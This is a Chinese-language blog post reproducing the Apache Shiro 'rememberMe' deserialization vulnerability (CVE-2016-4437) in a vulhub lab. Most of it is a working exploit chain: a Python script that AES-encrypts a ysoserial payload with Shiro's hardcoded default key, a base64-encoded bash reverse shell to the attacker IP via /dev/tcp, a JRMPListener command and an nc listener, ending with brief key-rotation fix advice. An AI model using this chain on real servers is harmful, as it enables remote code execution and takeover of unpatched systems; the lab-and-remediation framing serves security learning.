• shiro java 反序列漏洞复现


    shiro java 反序列漏洞复现

    打开虚拟机启动靶场/vulhub-master/shiro/CVE-2016-4437环境(省略)
    推荐网址:https://www.cnblogs.com/bmjoker/articles/11650295.html

    漏洞原理

    大概意思是,shiro在登录处提供了Remember Me这个功能,来记录用户登录的凭证,然后shiro使用了CookieRememberMeManager类对用户的登陆凭证,也就是Remember Me的内容进行一系列处理:

    使用Java序列化 ---> 使用密钥进行AES加密 ---> Base64加密 ---> 得到加密后的Remember Me内容

    同时在识别用户身份的时候,需要对Remember Me的字段进行解密,解密的顺序为:

    Remember Me加密内容 ---> Base64解密 ---> 使用密钥进行AES解密 --->Java反序列化

    问题出在AES加密的密钥Key被硬编码在代码里,这意味着攻击者只要通过源代码找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化,AES加密,Base64编码,然后将其作为cookie的Remember Me字段发送,Shiro将RememberMe进行解密并且反序列化,最终造成反序列化漏洞。

    工具利用

    工具的制作利用以上原理,对poc进行一个AES加密,只要AES的加密key值对应其秘钥,就可以成功利用漏洞进行反序列化的操作。

    操作

    首先判断是否存在shiro反序列化漏洞:

    1. 访问虚拟机靶场环境,端口8080

    1. 打开bp,抓取登录包重放

    2. 返回值中能在set-cookie很明显看到rememberme=deleteme 这个的字段,那么很有可能存在shiro漏洞

    3. 验证,使用bp的collabotator模块给你一个检验域名

    4. 运行shiro.py根据域名生成payload,后面的网址就是上一步生成的域名,前面自己加上http://头。生成payload。(因为这个脚本只有一个key值,所以有时候试不出来。可以用另外一个工具shiro_Check.exe,里面有10个常用key值,需要自己去geihub上面下载或者私聊我。用法:xx.exe -u loudong wangzhi -d dnslog dizhi)

      python2 shiro.py "http://onf9lyddyqqo3qo20rdfbetrciic61.burpcollaborator.net"
      

    5. 复制payload,重放登录包,将payload添加在cookie值后面,记得和前面用分号隔开。

    6. 发送包,看返回值,很明显有两个cookie:rememberme

    7. 成功,查看bp的collaborator的模块的返回情况。确定是存在漏洞的。


    漏洞复现:

    靶机:192.168.73.131

    攻击机IP:192.168.44.118

    bash编码网站:http://www.jackson-t.ca/runtime-exec-payloads.html
    ysoserial是一款目前最流行的Java反序列化Payload生成工具,目前支持29种的Payload生成。下载命令

    git clone https://github.com/frohoff/ysoserial.git
    cd ysoserial
    mvn package -D skipTests
    

    shiro_exp_payload.py:白嫖大哥的

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    
    
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])   
    print "rememberMe={0}".format(payload.decode())
    
    1. 在http://www.jackson-t.ca/runtime-exec-payloads.html网站上将攻击语句进行编码,制作反弹shell的命令

      bash -i >& /dev/tcp/192.168.44.118/1069 0>&1
      

    2. 然后使用ysoseria中的jrmp监听模块,监听9999端口。并且执行反弹shell命令(将shell结果反弹给192.168.44.118/1069端口)

      java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjExNy8xMDY5DA+JjE=}|{base64,-d}|{bash,-i}"
      

      双引号括起来的就是第一步制作的反弹shell命令

    3. 在需要要反弹结果的机器上面监听1069端口(这里为了方便起见还是攻击机),等待反弹的结果(监听bash反弹shell的端口)

      nc -lvp 1069
      

    4. 使用python脚本(端口是攻击机监听的端口9999,也就是用这个端口发出攻击)

      python2 shiro_exp_payload.py 192.168.45.118:9999
      

    5. 把代码放入请求包中(还是cookie的地方),发送即可反弹shell

    总结攻击思路:

    1. 首先通过shiro_exp_payload.py生成的payload访问攻击端口9999
    2. 端口9999攻击机通过CommonsCollections5执行系统命令反弹shell给需要反弹的机器(这里还是攻击机不过端口是1069)

    修复建议

    1. 生成新的秘钥加密

    2. 在shiro的配置文件里,引用GenerateCipherKey的generateNewKey方法随机生成秘钥

      public class GenerateCipherKey {
      
          /**
           * 随机生成秘钥,参考org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(int)
           * @return
           */
          public static byte[] generateNewKey() {
              KeyGenerator kg;
              try {
                  kg = KeyGenerator.getInstance("AES");
              } catch (NoSuchAlgorithmException var5) {
                  String msg = "Unable to acquire AES algorithm.  This is required to function.";
                  throw new IllegalStateException(msg, var5);
              }
      
              kg.init(128);
              SecretKey key = kg.generateKey();
              byte[] encoded = key.getEncoded();
              return encoded;
          }
      }
      
  • 相关阅读:
    今晚学到了2.2
    默默开始学英语了。
    VBScript连接数据库
    关于selenium截图
    Python异常处理try...except、raise
    Django中contenttype的应用
    Django Rest Framework
    scrapy信号扩展
    scrapy_redis使用
    Twisted模块
  • 原文地址:https://www.cnblogs.com/kbhome/p/13061633.html
Copyright © 2020-2023  润新知